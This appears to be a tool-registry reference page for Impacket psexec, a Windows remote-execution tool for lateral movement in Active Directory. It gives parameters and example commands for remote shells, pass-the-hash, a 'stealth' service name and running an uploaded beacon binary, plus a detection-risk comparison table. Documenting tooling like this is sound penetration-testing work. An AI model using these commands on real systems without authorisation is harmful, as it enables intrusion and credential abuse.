Impacket psexec — Windows remote command execution via SMB service control manager for lateral movement in Active Directory environments.
impacket-psexec {domain}/{user}:{password}@{target} 🌍 domain → domain 🌍 user → user 📎 password 🌍 target → ip impacket-psexec {domain}/{user}:{password}@{target}Sandbox: execFile · Timeout: 300s
security.lateral.psexec security.shell.remote security.execution.remote security.ad.service.control | Name | Type | Required | Default | Description | Aliases |
|---|---|---|---|---|---|
hashes | string | No | - | NTLM hash (LM:NT format) for pass-the-hash | --hashes |
kerberos | boolean | No | Use Kerberos authentication | -k, --kerberos | |
aesKey | string | No | - | AES256/128 key for Kerberos auth | --aesKey |
dc-ip | string | No | - | Domain controller IP for Kerberos | --dc-ip |
target-ip | string | No | - | Target IP address | --target-ip |
port | integer | No | 445 | SMB port number | --port |
service-name | string | No | BTOBTO | Name of the service to create | --service-name |
codec | string | No | utf-8 | Output encoding codec | --codec |
debug | boolean | No | Enable debug output | --debug | |
no-pass | boolean | No | Do not prompt for password | --no-pass | |
file | string | No | - | Local file to execute remotely | --file |
share | string | No | ADMIN$ | SMB share for file upload | --share |
nooutput | boolean | No | - | Suppress output | --nooutput |
ts | boolean | No | - | Include timestamps | -ts |
Inputs
network.target.ip Target IP address
credential.username Domain username (admin required)
credential.password Plaintext password or NTLM hash
Outputs
security.shell.session Remote shell on target system
command.output Output of executed command
network_trafficprocess_spawnfilesystem_writefilesystem_write Produces
security.shell.sessioncommand.outputConsumes
network.target.ipcredential.usernamecredential.password| Resource | Value |
|---|---|
| CPU | low |
| Memory | 64 MB |
| Network | low |
| Disk I/O | low |
Interactive shell with plaintext credentials
impacket-psexec evilcorp.local/administrator:Pass123@10.10.10.1Pass-the-hash for interactive shell
impacket-psexec evilcorp.local/administrator@10.10.10.1 -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0Execute single command and exit
impacket-psexec evilcorp.local/administrator:Pass123@10.10.10.1 whoamiKerberos-based authentication
impacket-psexec evilcorp.local/administrator@10.10.10.1 -k -dc-ip 10.10.10.1 -no-passCustom service name for stealth
impacket-psexec evilcorp.local/administrator:Pass123@10.10.10.1 -service-name LegitSvcUpload and execute a local binary
impacket-psexec evilcorp.local/administrator:Pass123@10.10.10.1 -file /tmp/beacon.exepsexec (Impacket implementation) enables remote command execution on Windows systems by creating and starting a Windows service via SMB. It is Python-native and does not require any binaries on the target.
ADMIN$ or specified share via SMB| Tool | Technique | Detection Risk |
|---|---|---|
| psexec | Windows Service (SVCCTL) | High — service creation logged |
| wmiexec | WMI (DCOM) | Medium — event log 4688 |
| smbexec | Scheduled Task via SMB | Medium — task creation logged |
| atexec | Scheduled Task via AT | Lower — older technique |
| dcomexec | DCOM objects | Medium — depends on object |